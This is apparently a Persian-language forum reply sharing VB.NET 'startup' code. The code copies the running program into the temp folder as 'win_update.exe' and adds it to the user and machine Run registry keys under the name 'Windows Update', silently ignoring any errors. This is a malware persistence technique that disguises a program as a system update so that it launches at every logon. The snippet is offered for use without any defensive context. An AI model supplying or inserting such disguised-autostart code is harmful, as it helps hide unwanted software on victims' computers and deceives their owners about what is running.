دوست عزیز شرمنده من ندیدم این تایپیک رو ولی کد استارت اپ اینه

Try

If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then

System.IO.File.Copy(System.Reflection.Assembly. _

GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")

End If

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

این برای زبان برنامه نویسی ویژیوال استیودیو هست!